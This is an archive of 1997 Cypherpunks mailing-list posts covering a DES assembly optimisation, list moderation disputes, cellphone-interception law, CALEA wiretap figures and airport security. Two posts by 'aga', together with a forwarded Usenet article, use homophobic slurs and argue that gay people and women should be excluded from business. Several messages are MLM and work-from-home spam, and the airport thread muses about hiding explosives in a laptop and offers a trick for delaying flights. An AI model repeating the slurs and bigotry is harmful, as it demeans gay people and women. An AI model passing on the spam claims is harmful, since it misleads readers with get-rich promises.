On Tue, 14 Jan 1997 jovi@telnor.net wrote:

> I can not undestand why are you using my e mail adress to recibe your mail.
> 
> >From what i see you are a hacker, and you are using some body space to work with 
> no charge.
> 
> Please avoid the use of my space.

So which of the 2000 members of this list are you addressing? Further, why
did you subscribe to the list if you didn't want to get the mail from it?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 22:22:51 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames  lists
In-Reply-To: <3.0.32.19970114121443.006941f4@smtp1.abraxis.com>
Message-ID: <32DC93A9.27F6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> :John,
> :  Will you be making a "Last Chance To Call Me A Cocksucker"
> :announcement? (:>)
> :
> :Toto

> Geez, Toto, settle down! (:>) Gotta laugh!

Alec,
  I guess that the money I spent for my lobotomy was just wasted.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: i.am.not.a.number@best.com
Date: Wed, 15 Jan 1997 00:12:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Pentium optimizations for DES (BIG)
Message-ID: <3.0.32.19700101000000.006b58b8@best.com>
MIME-Version: 1.0
Content-Type: text/plain


here is Mikkelson's macro, with a few cycles shaved.
on my machine there is a small but measurable improvement.


DesRound	macro RoundNo,reg1,reg2

		mov	eax,		DWORD PTR (RoundNo*8) [ebp]
		xor	ebx,		ebx

		mov	edx,		DWORD PTR (RoundNo*8+4) [ebp]

		xor	eax,		reg1
		xor	edx,		reg1

		and	eax,		0fcfcfcfch
		mov	bl,		al
		and	edx,		0cfcfcfcfh
		mov	cl,		ah
		ror	edx,		4
		xor	reg2,		DWORD PTR _des_SPtrans[ebx]
		mov	bl,		dl

		xor	reg2,		DWORD PTR _des_SPtrans[0200h+ecx]
		mov	cl,			dh
		shr	eax,		16

		xor	reg2,		DWORD PTR _des_SPtrans[0100h+ebx]

		mov	bl,		ah
		shr	edx,		16

		xor	reg2,		DWORD PTR _des_SPtrans[0300h+ecx]

		mov	cl,		dh
		and	eax,		0FFh
		and	edx,		0FFh

		xor	reg2,		DWORD PTR _des_SPtrans[0600h+ebx];ebx
		mov				ebx,DWORD PTR _des_SPtrans[0700h+ecx]
		xor	reg2,		ebx
		mov				ebx,DWORD PTR _des_SPtrans[0400h+eax]
		xor	reg2,		ebx
		mov				ebx,DWORD PTR _des_SPtrans[0500h+edx]
		xor	reg2,		ebx

		endm

At 10:19 AM 1/14/97 -6, Peter Trei wrote:
>I hope you'll look at Svend Olaf Mikkleson's
>latest DES round replacement for libdes. He
>seems to have gotten the round down to 18
>clock cycles. I have not yet had a chance
>to try it myself.
>
>see: http://inet.uni-c.dk/~svolaf/des.htm
>
>Peter Trei
>trei@process.com
>
>Peter Trei
>Senior Software Engineer
>Purveyor Development Team                                
>Process Software Corporation
>http://www.process.com
>trei@process.com
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 23:37:43 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions for 1997
In-Reply-To: <v03007801af01f45e92d3@[139.167.130.248]>
Message-ID: <32DC9819.20DD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
>                  The Digital Commerce Society of Boston
>                               Presents
> The group provides numerous Fortune 500 companies with detailed research and
> analysis on behaviors and preferences of Internet consumers.

> Mr. Kaufman will discuss the Internet as a consumer platform.

  As in "Make $$$Money$$$ fast?
  Does putting on a suit and writing 'executive-oriented' postings in a
pompous, pretentious manner raise this type of posting above the level
of ordinary UCE/Spam?
  I don't think so.

  Does moderation mean that UCE postings that promise 'champagne and
caviar' are acceptable, while 'crackers and cheese' post-conference
promises are 'spam'?
  Will 'Subject: Consumer Platform / Make $$$Money Fast' be an 
'acceptable' heading, whereas 'Subject: Make $$$Money Fast / Consumer
Platform' is 'not acceptable'?

Toto
"Moderate suits, not jeans."
(I've got some fine suits, thank you very much. I wear them at weddings,
funerals, and whenever I want to 'screw' somebody.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 23:37:58 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150307.TAA18846@slack.lne.com>
Message-ID: <32DC9AF6.1456@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:
 
> Given that they've just pissed on some seriously powerful people I'd
> expect that the fools who made the tape and gave it to the Democratic
> congresscritter and then HAD A NEWS CONFERENCE about it are going to
> be in some deep shit.

  Undoubtedly, they will be in much deeper shit than the criminal who
broke the laws he was sworn to uphold.
  Power Rules! (Is this redundant?)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 23:38:12 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: RSA challenge: is it legal to try?
In-Reply-To: <199701150427.UAA12865@mail.pacifier.com>
Message-ID: <32DC9EF2.4D67@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:

> It also ignores the strong likelihood that the reason for the Patent-Office
> policy change (done, apparently, without benefit of a corresponding law
> change) was because with public-key/RSA there was finally an example of
> software the government wished to deny to the average citizen, and the only
> mechanism (short of secrecy, which was broken) to do so was to patent it.
> 
> I'm still waiting for an "innocent" explanation for the US patent office
> beginning to issue software patents.  I don't think there is one.

Jim,
  It is reasurring to know that 'reason' and 'paranoia' can peacefully
co-exist in the mind. Most people seem to veiw it as an either/or
situation.

Toto
"They are refusing to conspire against me, in order to make my 
paranoia look irrational."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Garry <pccash@sprintmail.com>
Date: Wed, 15 Jan 1997 01:18:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Seen Your Post!
Message-ID: <199701150917.BAA18755@mailgate31>
MIME-Version: 1.0
Content-Type: text/plain


I Seen Your Post!

I found your post in one of my favorite news groups. You might find my views
are exactly the same. In fact my entire WebSite is right up that alley.
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businesses I joined (again free) has an excellent earning potential of
over $600 profit per YEAR, per CUSTOMER! The best part is don't do anything
except promote the business. The company does everything for me!!! Although
I do not have anything against MLM,  this is not!

In order to even notice this biz you have to look up in the top window frame
of my site as its loading the image (read the text).

Enough about me! If you can contribute to my sight or have any ideas, I
would appreciate it. I'll keep an eye out for more of your contributions
to the "Newsgroups"!

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Tons of Excellent FREE Stuff for Entrepreneurs too...

PS. If you like what you see or have any questions, or ideas about my site,
    please drop me an e-mail. But, if you don't mind use "pcplus" as the
    subject. It helps me weed through my junk!

Thanks, Garry 
pccash@sprintmail.com

If you should get this message more than twice please forgive me.
I may have mis-configured this new e-mailer!









































































































































































































































































Day 3 in use #00377782

*******************************************************************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 00:33:01 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Am I to blame? / "THE INTERNET GOLDRUSH"
In-Reply-To: <199701150652.AAA02966@smoke.suba.com>
Message-ID: <32DCAA12.720C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> > > The "Internet Goldrush" is ON!
> > > It's simple!  It's quick!  It's here!

>      The funny thing is, most of the "Gold Rushers" wound up broke, or
> working for someone else.
>      Most people are fools. Deliberately so.

  An interesting observation.
  The original Gold Rush involved the thronging masses stepping on each
other's toes, shooting each other in the back, etc., and the end result
was that a few 'lucky' ones got filthy rich, while the people behind
the scenes, encouraging this activity, 'all' got filthy rich.
  If I had a mansion on the hill, with a high wall surrounding it and
a guard on the gate, I would be much more inclined to encourage the
masses to seek their fortune at my doorstep, and shop at my general
store across the street.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 00:32:05 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
In-Reply-To: <199701140637.WAA14213@toad.com>
Message-ID: <32DCB23A.192F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> A minor note:  When I downloaded email tonite (Tues), there were 67
> messages, and I got stopped 4 times with server errors.  I've had at
> most four such errors total in the past 4 months. Coincidence, I guess.

  Or synchronicity.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 15 Jan 1997 02:30:35 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Newt's phone calls
Message-ID: <3.0.32.19970115022949.0073c350@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 PM 1/14/97 -0800, Lucky Green wrote:
>At 02:48 PM 1/14/97 -0800, Alan Bostick wrote:
>>(Someone mentioned that they thought cordless phone intercepts weren't 
>>illegal the way cellular phone intercepts are.  IANAL, but I recall that
>>intercepting both was made illegal by the same legislation.)
>
>It is illegal to intercept cell phone calls. It is legal under federal law
>to intercept cordless phones.

The Communications Assistance for Law Enforcement Act of 1994
<ftp://ftp.loc.gov/pub/thomas/c103/h4922.enr.txt> amended the federal
wiretap statutes (18 USC 2510 et seq) to make interception of cordless
calls illegal.

Also, pursuant to the CALEA, the FBI reported yesterday (1/14) that they
anticipate the potential need to conduct almost 60,000 wiretaps
"simultaneously" (they define "simultaneous" to mean on the same day) by
10/25/98. (They do some handwaving to explain that while they're saying
they might need to do 60K simultaneous wiretaps, they're not really saying
they *would* do 60K wiretaps, but they're not promising not to, and really,
who are we to question, anyway?) There's a discussion of their methodology
and other bureaucratic poetry in the Federal Register (62 FR 1902, 1/14/97,
try <http://w3.access.gpo.gov/su_docs/aces/aaces002.html> and search volume
62 of the Federal Register for "calea") but the actual estimates (which are
apparently broken down county-by-county) are only available from the FBI's
Reading Room in Washington DC. Arrgh. (I got the 60K figure from the Murky
News' wire service-to-Email gateway.)

And Jamie Gorelick is resigning. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 01:02:36 -0800 (PST)
To: Krenn <krenn@nym.alias.net>
Subject: Re: Airport security [no such thing]
In-Reply-To: <19970115080734.4134.qmail@anon.lcs.mit.edu>
Message-ID: <32DCB602.685C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Krenn wrote:

> But wait - won't the all-important "did you pack your bags yourself" and
> "did anyone give you bags to take on the plane" stop them? ;-)

  If your friends or family are a little late catching the same plane as
yourself, then just answer, "No, my son packed them."
  This, on the average, gives your companions an extra 10-15 minutes
to catch the plane, since regulations require them to do a complete
check of your baggage (and they are 'supposed' to take them to a 
secure area to do so).
  Since you are ready to board the plane they cannot legally detain
you and let the plane go on, in order to process you and your 
baggage according to proper regulatory procedure. They must,
instead, detain the plane.
  They may jump up and down and tell you this is not so, but I have
never missed a plane, and neither have most of my tardy companions.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 15 Jan 1997 02:47:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <3.0.32.19970115025002.0074a440@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 PM 1/14/97 +0100, Anonymous wrote:
>Patents only apply to commercial use.

Got a cite for this? I can't seem to find any authority for it. It sounds
to me like a simple economic calculation (it's not worthwhile to sue
noncommercial users for infringement because they usually don't have enough
$ to even pay for the litigation, and "IBM sues 70-year old grandmother"
makes for poor public relations) that got turned into "law" by the
machinery of urban legend.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: overcome@concentric.net
Date: Wed, 15 Jan 1997 00:20:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Positions open
Message-ID: <199701150820.DAA15929@newman.cris.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

                               ATTENTION

       Fastest growing company expanding. Licensed in 34
    counties, publicly held on NASDAQ. Part time up to $500 to $1,500,
   full time up to $2,000 to $6,000. Need to fill position immediately.
           Full training provided. Work from Home or Office.
  Paid vacations plus bonuses. Call this week ONLY for free information.

                             (305)460-8000





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 14 Jan 1997 20:58:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: sendmail-type thing for Windows
Message-ID: <199701150458.FAA03875@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> Hi,
> 
> Does anyone know of a simple program for windows that can, like
> sendmail, work as a mail agent ans send mail messages from its stdin? I
> am interested in sending email messages from Windoze boxes as part of
> some automated process driven by .BAT files.
> 

Yeah, exit to dos and run "loadlin".  ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 15 Jan 1997 03:03:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: How to Deal with a Homo Superior Who is on the Make with You
In-Reply-To: <0agJ1D2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970115055342.7014D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


It is clear from reading this that all equal employment
laws should be eliminated.

On Tue, 14 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Path: perun!news2.panix.com!panix!news.mathworks.com!news.kei.com!bloom-beacon.mit.edu!grapevine.lcs.mit.edu!anon.lcs.mit.edu!nym.alias.net!mailmasher.com!non-tell
> From: Anonymous <non-tell@mailmasher.com>
> Newsgroups: alt.politics.equality,alt.politics.correct,alt.politics.homosexuality,alt.politics.nationalism.white,alt.politics.white-power,alt.politics.sex,alt.psychology,alt.renewing.american.civilization,alt.sci.sociology,misc.jobs.misc
> Subject: How to Deal with a Homo Superior Who is on the Make with You
> Message-ID: <199701131555.HAA14303@mailmasher.com>
> Date: Mon, 13 Jan 1997 07:55:23 -0800
> Organization: http://www.mailmasher.com pseudonymous service
> Lines: 68
> Comments: Please report abuse to abuse@mailmasher.com
> Mail-To-News-Contact: postmaster@nym.alias.net
> 
> How to Deal with a Homo Superior Who is on the Make with You
> 
> The answer is very simple: lobby for a return to employment
> "at will" by repealing ALL equal employment opportunity laws
> including the provisions of the Americans with Disability Act
> which pertain to employment.  Filing complaints or lawsuits
> is definitely not recommended as this would be the worst kind
> of career suicide.
> 
> Years ago when homosexuality was stigmatized and there was
> employment at will, the homos kept a very low profile because
> if they let loose with their true nature, then they would be
> out on their ear, pronto!
> 
> However, pass equality laws in a small minority of jurisdictions,
> and the homos get the impression that they can get away with
> just about anything even if they are not covered by one of those
> laws in their own jurisdiction.
> 
> The behavior at major corporations on the part of homos ranges
> from "the look" to outright propositions, to outright vigorous
> harassment and even extortion.  I thought that the emergence of
> the AIDS epidemic would have a drastic dampening effect on this
> type of behavior, but boy, oh, boy, was I ever wrong!!  It seems
> that if you groom yourself to any degree, the elements get the
> impression that you are germ-free and highly desirable, and you
> will attract their attention like a lightening rod.
> 
> To be fair, the worst perpetrators of this adverse behavior are not
> those guys perceived to be homosexuals but bisexuals - you know,
> the guys with the wives or girlfriends.  Boy, are these guys ever
> confused, and boy, are they ever motivated, sex hungry, and on the
> prowl!
> 
> Homosexual managers and executives share a trait with females, that
> is, they will not tolerate capable male subordinates for long (unless,
> of course, the subordinate is extra special friendly - if you get
> my drift.)  These managers and executives are paranoid about their
> job security just as females are, and they cannot stand any competitive
> threat.  By the way, female managers and executives have an affinity
> for gay subordinates.  It just goes to demonstrate how sociological
> alliances are forming under government enforced equality.
> 

Yes, and this points out how homosexuals and females (who are usually
always also homosexual) are the WORST thing that any viable
Corporation can ask for.  An ALL male heterosexual entity is the ONLY
way to survive the business world today.  A woman's place is in the
home, and a faggots place is NEVER to be superior to any heterosexual
person.

> Now that the job market is quite tight and very much a buyers' market,
> prospective employers get the impression that they can reduce job
> candidates and subordinates to sexual slavery since workers have
> few, if any, alternatives, and the saddest part of the situation is
> that many workers are going along with the extortionate demands thereby
> making matters much worse for the workers who refuse to do likewise!
> 
> Now, I know that some detractors in the reading audience will say,
> "If you re-stigmatize homosexuality, you will drive it underground,"
> but what the h-ll is wrong with driving it underground???  This
> statement is sophistry at its worse because it doesn't even make
> any sense on its surface.
> 
> On a related front:
> The Treatise on the Downward Wage Equalizing Effects
> of Equal Employment Opportunity is available at:
> http://www.geocities.com/CapitolHill/3982/
> 
> "Government enforced wage equalization will work only in the
> downward direction" - despite any initial appearance to the
> contrary!  And the most shocking thing of all is that the
> least preferred worker does not even have to be awarded a
> job for many phenomena to occur.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 15 Jan 1997 03:33:03 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: PBS program - Turing/Enigma
In-Reply-To: <ZR1J1D106w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970115062715.7014F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> snow <snow@smoke.suba.com> writes:
> 
> > > Homosexuals have a strange attraction to cryptography, perhaps because of i
> > > connection to privacy and anonymity. But they haven't made any contribution
> >
> >      Speaking from personal experince Dimitri? You and Grubor enjoying each
> > others company?
> 
> Two questions:
> 
> One, do the crypto-queers Gilmore and Inman suck each other's cocks?
> 

Because that is what faggots do best.

> Two, why did the above-quoted message appear on "moderated" cypherpunks?

Because "moderated" to them means that responses from the faggots are
the only ones that are accepted.


> (That's a rhetorical question: clearly Gilmore's moderation encourages
> personal attacks on Gilmore's "enemies" like myself and Dr.Grubor, while
> responses to these attacks are suppressed.)
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y..: +1-718-261-2013, 14.4Kbps
> 

John Gilmore's suppression of responses will not go unreported on this
net.  It is high time that the queers be recognized as the most
censorous type of humanoid on this InterNet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Wed, 15 Jan 1997 07:30:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <3.0.32.19970115072852.00dea020@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


US airport security is a joke compared to other places in the world.

Contrast Lucky's account with my last trip through Germany.  Carry-ons
x-rayed.  Pat down search by white gloved personnel.  Asked to take photo
with my camera (to demonstrate it was real).  Full power-on of laptop.
Laptop weighed and checked against book containing manufacturer's specs.
And this is standard, not because I was flagged as an evil Cypherpunk or
fit some profile.  Everything done very efficiently, with few delays.

Your mileage may vary.  I've been in other places, where US airport
security looks like Fort Knox.  The main reason (no matter where you go) is
unmotivated, minimum-wage, rent-a-cops placed in a tedious work environment.

Joel

Ob-Crypto: During some real serious globe-trotting over the past couple of
years, no one has ever looked at the contents of my hard drive.  Even when
I've been detained by customs (non-US), doing a pretty detailed search of
my luggage.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 15 Jan 1997 07:42:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: s/n problems on this list
Message-ID: <199701151542.HAA21311@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:52 AM 1/14/97 -0800, Vladimir Z. Nuri wrote:
>I've posted on this subject many times in the past, and its
>something I like to brainstorm on. signal to noise problems
>on this list. 
>
>generally, the moderator-specific approaches I find less
>palatable than techniques that can be automated. here
>are some more ideas for automated moderation techniques.
>
>1. software called "grouplens" I've talked about here (search
>yahoo) has been used to rate articles. they found that there
>was a very high correlation between how long people spent reading
>articles and the "interesting" rating that they gave that article.
>
>hence, a proposal: cpunks have long advocated and hacked mailer
>programs to stick in crypto. how about sticking in a hack that
>tracks how long mail messages are being read, and send that
>info back to an auxilliary mailing list address. the list
>software keeps track of time spent reading articles and
>can allow people to screen the list based on the "most interesting
>articles". "send me only those articles that go over a threshhold
>of 500 combined human attention minutes".

I for one would be weary of reading mail if I knew that just which ones I
paid the most attention to were known by some computer somewhere.  By doing
this, cypherpunks would risk becoming big brother.  Much as the supermarkets
are trying to do now.  All they are interested in is demographics also.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Lane <nexus@eskimo.com>
Date: Wed, 15 Jan 1997 07:55:11 -0800 (PST)
To: Eric Blossom <eb@comsec.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150158.RAA25901@comsec.com>
Message-ID: <Pine.LNX.3.95.970115075206.2682D-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Eric Blossom wrote:

> > Eavesdropping on cellphones is illegal, since there's an expectation of
> > privacy.
> 
> Ummm,  Eavesdropping on cellphones is illegal, because it's illegal.
> See the Electronic Communication Privacy Act (ECPA).  Since when does
> anybody talking on a *radio* have an expectation of privacy?
> 

  Correct. And before they passed their law a few years ago it was only
illegal to disclose the contents of any conversation overheard, not
illegal to listen to it (which is the way it should have stayed, but the
cellphone companies found it cheaper to get a law passed instead of
securing their network).

  Brian

----
  www.eskimo.com/~nexus      Nexus Computing     ftp.eskimo.com/~nexus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Lane <nexus@eskimo.com>
Date: Wed, 15 Jan 1997 08:01:05 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150307.TAA18846@slack.lne.com>
Message-ID: <Pine.LNX.3.95.970115075526.2682E-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Eric Murray wrote:

> Clay Olbon II writes:
> > 
> > The congressman (Boehner? from Ohio) whose cellphone was "eavesdropped"
> > stated today that he was parked in the lot of a Waffle House in Lake City
> > FL.  The couple said that they just happened to be driving by when they
> > overheard and began taping the conversation.
> 
> Interesting.  In California, operating a scanner while driving is illegal.
> Of course it was probably the passenger running the scanner.

  Actually in Florida its illegal to even have a scanner in your car!
These folks have broken several state and federal laws, as well as the
congressman who leaked it to the newspapers instead of turning it over to
the head of the Ethics committe as he should have. Everyone involved here
is, or should be, in deep yogurt.

  I don't like the laws they passed, but since they passed them I want to
see them enforce them to the full extent posible. Then maybe people will
start to wonder why the transmission wasn't encrypted. Which also leads to
another question. How much information is in the clear from congressmen
and government employees who are clueless about the security of their
cellphones, cordless phones, etc?

  Brian


----
  www.eskimo.com/~nexus      Nexus Computing     ftp.eskimo.com/~nexus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Wed, 15 Jan 1997 05:06:37 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions for  1997
In-Reply-To: <32DC9819.20DD@sk.sympatico.ca>
Message-ID: <Pine.SOL.3.93.970115075835.5408A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Toto wrote:

> Robert Hettinga wrote:
> >                  The Digital Commerce Society of Boston
> >                               Presents
> > The group provides numerous Fortune 500 companies with detailed research and
> > analysis on behaviors and preferences of Internet consumers.
> 
> > Mr. Kaufman will discuss the Internet as a consumer platform.
> 
>   As in "Make $$$Money$$$ fast?
>   Does putting on a suit and writing 'executive-oriented' postings in a
> pompous, pretentious manner raise this type of posting above the level
> of ordinary UCE/Spam?
>   I don't think so.
> 
>   Does moderation mean that UCE postings that promise 'champagne and
> caviar' are acceptable, while 'crackers and cheese' post-conference
> promises are 'spam'?
>   Will 'Subject: Consumer Platform / Make $$$Money Fast' be an 
> 'acceptable' heading, whereas 'Subject: Make $$$Money Fast / Consumer
> Platform' is 'not acceptable'?

	The finer SPAMS of life..what else would you want.
	 
> Toto
> "Moderate suits, not jeans."
> (I've got some fine suits, thank you very much. I wear them at weddings,
> funerals, and whenever I want to 'screw' somebody.)

	How often is this??





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Krenn <krenn@nym.alias.net>
Date: Wed, 15 Jan 1997 00:07:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <19970115080734.4134.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 14 Jan 1997, Lucky Green wrote:

> I recently took a domestic flight from the Oakland, CA airport. While
> waiting for the airplane, I spent some time observing the security measures
> at the X-ray machine.
>
> As most readers probably know, laptops are often subject to manual
> scrutiny. From my non-representative sample, about four out of five tote
> bags clearly containing laptops will be manually searched. Typically, the
> attendant requires that the laptop is powered up. In none of the 20+ manual
> searches I witnessed did the security personnel wait past the RAM check
> before clearing the passenger. I could not help but contemplate how much of
> the insides of the laptop could be replaced while still obtaining an
> identical display.

I have had the same experience. I am sure that removing all components of
the laptop not required for its functioning would yield a significant amount
of room inside, especially for larger (non-"notebook") machines. I'm not
an expert on explosives, but I would imagine a laptop-full of whatever could
be pretty nasty. Someone with determination could even make it look like
it had a floppy, a CDROM, etc, just by replacing the devices themselves with
facades. Not that the airport security would notice, but anyway.

But wait - won't the all-important "did you pack your bags yourself" and
"did anyone give you bags to take on the plane" stop them? ;-)

It just obviates the fact that airport security is really useless against
a determined attacker, but manages to be extremely annoying to everyone else.

Krenn



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aeVSFjB9WHY=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 15 Jan 1997 05:44:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictionsfor 	 1997
In-Reply-To: <v03007801af01f45e92d3@[139.167.130.248]>
Message-ID: <v03007823af02813ca044@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:40 am -0500 1/15/97, Toto emetted onto the livingroom carpet:

>  As in "Make $$$Money$$$ fast?
>  Does putting on a suit and writing 'executive-oriented' postings in a
>pompous, pretentious manner raise this type of posting above the level
>of ordinary UCE/Spam?
>  I don't think so.
>
>  Does moderation mean that UCE postings that promise 'champagne and
>caviar' are acceptable, while 'crackers and cheese' post-conference
>promises are 'spam'?
>  Will 'Subject: Consumer Platform / Make $$$Money Fast' be an
>'acceptable' heading, whereas 'Subject: Make $$$Money Fast / Consumer
>Platform' is 'not acceptable'?

I fished this out of my killfile. Ironically, I had just plonked Toto
yesterday because I saw no compelling merit in anything he has posted to
cypherpunks since he got here, and given the quantity of his posts, he was
starting to waste my attention. However, this morning, as my mail was
coming down in Eudora, I saw that he had replied to this month's DCSB
announcement, and, frankly, I knew that it had to be something like this.

However, I couldn't, heh, let sleeping dogs lie...

When I sent the posting in question to the cryptography groups, I figured
that this month's DCSB meeting would not not be especially on topic, even
for cypherpunks :-). However, there are lots of cypherpunks who come to
DCSB meetings, and I expect that some cypherpunks will come to this one,
too. Suits, champaigne, caviar, and all. ;-). More like suits, iced tea,
and chicken-of-the-month, but, hey, the view's nice, anyway.

By the way, Find/SVP is a well known market research company, and since a
lot of us on cypherpunks sell our stuff on the net, if not directly to
consumers, I figured the topic might be at least tenuously useful to those
here. There's even a (very!) shaky privacy/crypto connection both in the
methods for collecting these kinds of data, and, of course, in the data's
use in building crypto applications and policy. In addition, most companies
pay for this kind of information. David will be presenting it free, almost
immediately after it's collation.

Anyway, I apologize to anyone this has offended. Except, of course, for
certain, um, dogs.

<Now, where's Toto? It looks like he needs a physic... Toto!!! Here, Boy!
Waaalkies!!!!>

Cheers,
Bob Hettinga
Moderator,
The Digital Commerce Society of Boston


-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: leeasher@gil.com.au
Date: Tue, 14 Jan 1997 14:40:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Some Spare Cash Perhaps !!
Message-ID: <199701142238.IAA03457@iccu6.ipswich.gil.com.au>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

     Pardon the intrusion, I hope you dont mind. If you find
     that you could perhaps use some extra cash, then feel free
     to read a little further. No hype just a simple opportunity.
     If not then hit the cancel button NOW as I do not wish to
     invade your privacy any more than I have done so already.

                        --------------------

     Work from home with your PC distributing software and
     information all over the world via E-mail and the Internet.

     Our exclusive software PC-SUPER-MLM will give you all the
     information and tools you need to start your own Computer
     Based Business as a Software Distributor.

     Make thousands of dollars doing simple and pleasant work
     from home with your computer using our proven method.

     Reply to this article and I will send you a FREE copy of
